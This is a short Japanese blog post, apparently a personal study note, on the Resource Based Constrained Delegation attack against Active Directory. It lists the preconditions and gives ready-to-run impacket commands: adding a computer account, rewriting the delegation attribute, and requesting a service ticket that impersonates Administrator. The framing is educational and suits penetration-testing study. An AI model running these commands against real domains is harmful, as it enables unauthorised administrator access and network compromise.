#132 Resource Based Constrained Delegation
そろそろ、なんとなくでやってきたことにさよならしたいとおもいます。Active Directoryに対する攻撃について、知識を先鋭化します。
RBCD
Resource Based Constrained Delegation(RBCD)は、Active Directoryの設定の不備をついた攻撃方法で、権限昇格などに悪用されることがあります。Delegation系の攻撃にはUnconstrained Delegation、Constrained Delegationもありますが、一番ややこしいのがコイツです。
一言で説明するならば、
という感じでしょうか。攻撃が成功すれば、管理者権限でのアクセスができます。
成立条件
SPNつきのアカウントを保持している(ドメインユーザーなら自分で作れる)
攻撃対象のmsDS-AllowedToActOnBehalfOfOtherIdentity属性への書き込み権限がある
攻撃手順
1. 新規のコンピューターアカウントを作る。(すでにSPNつきのアカウントを保持している場合は不要。)
impacket-addcomputer -computer-name 'evil$' -computer-pass P@ssword -dc-ip 10.10.10.10 domain.local/writepriv_user:password
2. msDS-AllowedToActOnBehalfOfOtherIdentity属性を書き換える。
impacket-rbcd -f evil -t WEB -dc-ip 10.10.10.10 domain\\writepriv_user:password
3. 任意のアカウントでサービスチケットを発行する。
impacket-getST -spn cifs/WEB.domain.local -impersonate Administrator -dc-ip 10.10.10.10 domain.local/EVIL$:P@ssword
出力されたサービスチケットは、ticket.ccacheなどと名前をつけて、環境変数に指定します。
export KRB5CCNAME=`pwd`/ticket.ccache
4. 取得したサービスチケットを使って、攻撃対象にアクセスする。
まとめ
WindowsのActive Directoryは、高機能で企業ネットワークでも広く使われていますが、ちょっとした設定ミスで攻撃にさらされる危険も秘めています。特に、Kerberosまわりは難しい… 攻撃者の視点で見ても、Active Directoryに対する深い理解がなければ侵害はできません。さあ、頑張ります。
※悪いことしようとしてるわけではありません。
EOF